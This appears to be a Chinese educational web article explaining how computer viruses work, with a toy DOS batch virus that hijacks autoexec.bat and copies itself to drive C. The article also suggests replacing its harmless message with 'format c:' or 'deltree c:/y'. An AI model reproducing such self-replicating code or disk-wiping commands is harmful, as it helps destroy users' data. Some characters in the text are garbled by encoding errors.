計算機病毒工作原理
計算機病毒工作原理
計算機病毒的工作原理是怎么樣的呢?你了解過沒有!下面由學習啦小編給你做出詳細的計算機病毒工作原理介紹!希望對你有幫助!
計算機病毒工作原理介紹一:
計算機病毒一、工作原理:
病毒依附存儲介質軟盤、 硬盤等構成傳染源。病毒傳染的媒介由工作的環(huán)境來定。病毒激活是將病毒放在內存,并設置觸發(fā)條件,觸發(fā)的條件是多樣化的
可以是時鐘,系統(tǒng)的日期,用戶標識符,也可以是系統(tǒng)一次通信等。條件成熟病毒就開始自我復制到傳染對象中,進行各種破壞活動等。
病毒的傳染是病毒性能的一個重要標志。在傳染環(huán)節(jié)中,病毒復制一個自身副本到傳染對象中去。
計算機病毒二、計算機病毒的簡單介紹:
計算機病毒(Computer Virus)是編制者在計算機程序中插入的破壞計算機功能或者數據的代碼,能影響計算機使用,能自我復制的一組計算機指令或者程序代碼。
計算機病毒具有傳播性、隱蔽性、感染性、潛伏性、可激發(fā)性、表現性或破壞性。計算機病毒的生命周期:開發(fā)期→傳染期→潛伏期→發(fā)作期→發(fā)現期→消化期→消亡期。
計算機病毒是一個程序,一段可執(zhí)行碼。就像生物病毒一樣,具有自我繁殖、互相傳染以及激活再生等生物病毒特征。計算機病毒有獨特的復制能力,它們能夠快速蔓延,又常常難以根除。
它們能把自身附著在各種類型的文件上,當文件被復制或從一個用戶傳送到另一個用戶時,它們就隨同文件一起蔓延開來。
計算機病毒工作原理介紹二:
計算機病毒是指編制或者在計算機程序中插入的破壞計算機功能或者破壞數據,影響計算機使用并且能夠自我復制的一組計算機指令或者程序代碼。
舉一個“hello word”例子。
下面是一個簡單的DOS批處理病毒源程序autoexec.bat(假設從A盤啟動):程序語句 程序注解
IF exist c:\autoexec.bat goto Virus REM 首先檢查時機
Goto No_Virus REM 若時機不成熟則潛伏
:Virus REM 時機成熟時(子程序)
c: REM 轉到C盤
ren autoexec.bat auto.bat REM 將正常文件改名,準備冒名頂替
copy a:\autoexec.bat c:\ REM 自我復制,開始繁殖
echo Hello Word! REM 病毒發(fā)作,表現癥狀
:No_Virus REM 正常程序入口
a: REM 轉回A盤
/auto REM 執(zhí)行正常程序
pause REM 暫停等待按任意鍵繼續(xù)
這個程序非常簡單,但卻包含了計算機病毒的典型結構,引導部分、傳染部分、激發(fā)部分等五臟俱全。其觸發(fā)機制是:C盤存在autoexec.bat文件,當我們用帶有此病毒的啟動軟盤啟動微機時
若C盤也有autoexec.bat文件,則病毒將C盤原autoexec.bat文件改名為auto.bat,把自身復制到C盤并顯示“Hello Word!”。如果按以前的分類,它可以算是個良性病毒(但再良的病毒都要占用系統(tǒng)資源)。
當然它還無加密和沒有嚴重破壞系統(tǒng)的行為,但要是把echo Hello Word!改為format c:或deltree c:/y
看了“ 計算機病毒工作原理”文章的還看了: